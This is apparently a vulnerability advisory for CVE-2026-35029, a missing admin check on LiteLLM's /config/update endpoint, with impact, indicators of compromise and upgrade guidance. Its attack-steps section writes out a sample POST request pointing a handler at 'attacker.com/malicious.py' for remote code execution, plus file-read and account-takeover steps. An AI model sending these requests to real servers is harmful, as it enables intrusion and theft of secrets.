CVE-2026-35029: 
NixOS vulnerability analysis and mitigation

CVE-2026-35029 is a privilege escalation vulnerability in BerriAI LiteLLM titled "Privilege escalation via unrestricted proxy configuration endpoint." The /config/update endpoint fails to enforce admin role authorization, allowing any authenticated user to modify proxy configurations, achieve remote code execution, read arbitrary files, and take over privileged accounts. All versions of LiteLLM prior to v1.83.0 are affected. The vulnerability was published on April 3, 2026, and carries a CVSS v3.1 score of 8.8 (High) and a CVSS v4.0 score of 8.7 (High) (Github Advisory, BerriAI Advisory).

The root cause is CWE-863 (Incorrect Authorization): the /config/update endpoint performs no check to verify that the requesting user holds the proxy_admin role before processing configuration changes (Github Advisory). An attacker with any valid API key can send crafted POST requests to this endpoint over the network with low complexity and no user interaction required. Exploitation paths include: registering custom pass-through endpoint handlers that point to attacker-controlled Python code (RCE), setting UI_LOGO_PATH to an arbitrary server path and retrieving the file via /get_image (arbitrary file read), and overwriting UI_USERNAME/UI_PASSWORD environment variables to hijack privileged accounts. A public PoC repository has been observed (PoC Repo), and Nuclei templates for detection have been added to ProjectDiscovery's template library.

Successful exploitation grants an authenticated low-privileged user full control over the LiteLLM proxy server. Confidentiality is fully compromised through arbitrary file reads (e.g., secrets, credentials, configuration files stored on the server). Integrity is fully compromised via environment variable manipulation and proxy configuration changes, including the ability to redirect traffic through attacker-controlled infrastructure. Availability is also at risk, as arbitrary Python code execution allows the attacker to disrupt or destroy the service, and account takeover of proxy_admin credentials enables persistent, privileged access (Github Advisory, BerriAI Advisory).

A public PoC repository (CVE-2026-35029-PoC) appeared on GitHub in May 2026, and exploit entries have been indexed on Sploitus and Vulners (Sploitus). Nuclei detection templates were added to ProjectDiscovery's nuclei-templates repository in April–May 2026, and Emerging Threats released a ruleset update covering this CVE on May 7, 2026. The EPSS score is approximately 19.38% (96th percentile), indicating a significantly elevated probability of exploitation. No confirmed in-the-wild exploitation or specific threat actor attribution has been reported as of the latest data; the CVE is not listed in the CISA KEV catalog. Qualys scanner detects this vulnerability under detection ID 5010433.

1. Reconnaissance: Identify internet-facing LiteLLM proxy instances (versions < 1.83.0) using Shodan, Censys, or similar tools by searching for LiteLLM service banners or known API paths.
2. Obtain API Key: Acquire any valid LiteLLM API key — this may be through a low-privileged account, a leaked key, or a free-tier registration if the instance allows self-service signup.
3. Send Malicious Config Update: Issue an authenticated POST request to /config/update with a JSON payload that registers a custom pass-through endpoint handler pointing to attacker-controlled Python code, e.g.:

   POST /config/update
   Authorization: Bearer <api_key>
   Content-Type: application/json
   {"custom_endpoints": [{"path": "/pwn", "handler": "http://attacker.com/malicious.py"}]}

4. Achieve RCE: Trigger the registered custom endpoint to execute the attacker-controlled Python code on the server.
5. Exfiltrate Files (Optional): Set UI_LOGO_PATH to a sensitive file path (e.g., /etc/passwd or application secrets) via /config/update, then fetch the file content via GET /get_image.
6. Account Takeover (Optional): Overwrite UI_USERNAME and UI_PASSWORD environment variables via /config/update to hijack the admin UI account and establish persistent privileged access (Github Advisory, BerriAI Advisory).

• Network: Unexpected POST requests to /config/update from non-admin user API keys; GET requests to /get_image with unusual or sensitive file paths in parameters; outbound connections from the LiteLLM server to unknown external hosts (potential C2 or attacker-controlled Python handler endpoints).
• Logs: LiteLLM access logs showing /config/update calls from low-privileged API keys; repeated /get_image requests with file system paths (e.g., /etc/, /var/, application config directories); log entries reflecting changes to UI_USERNAME, UI_PASSWORD, or UI_LOGO_PATH environment variables.
• File System: Unexpected Python scripts or files downloaded to the LiteLLM server directory; new or modified configuration files reflecting unauthorized proxy settings.
• Process: Unusual child processes spawned by the LiteLLM Python process (e.g., bash, curl, wget, reverse shell processes); unexpected network listeners opened by the LiteLLM service account.

Upgrade LiteLLM to v1.83.0 or later, which enforces the proxy_admin role requirement on the /config/update endpoint (Github Advisory). There is no configuration-level workaround available; the only interim mitigation is to strictly restrict API key distribution to trusted users to reduce the pool of potential attackers. IBM has also released a patch for affected IBM Observability with Instana (OnPrem) deployments that bundle LiteLLM (IBM Advisory). Organizations should audit existing API keys and revoke any that are no longer needed.

The vulnerability was disclosed via a GitHub Security Advisory by researcher jaydns on April 3, 2026, and subsequently published to the Full Disclosure mailing list in April 2026 (SecLists FullDisclosure). ProjectDiscovery added Nuclei detection templates for this CVE in April–May 2026, reflecting community interest in automated detection (Nuclei Templates). A related dev.to article discussed the broader LiteLLM security posture in the context of a companion CVE (CVE-2026-35030), and Check Point released a defensive advisory (CPAI-2026-4191) covering this vulnerability. Emerging Threats updated its ruleset on May 7, 2026 to include detection for this CVE.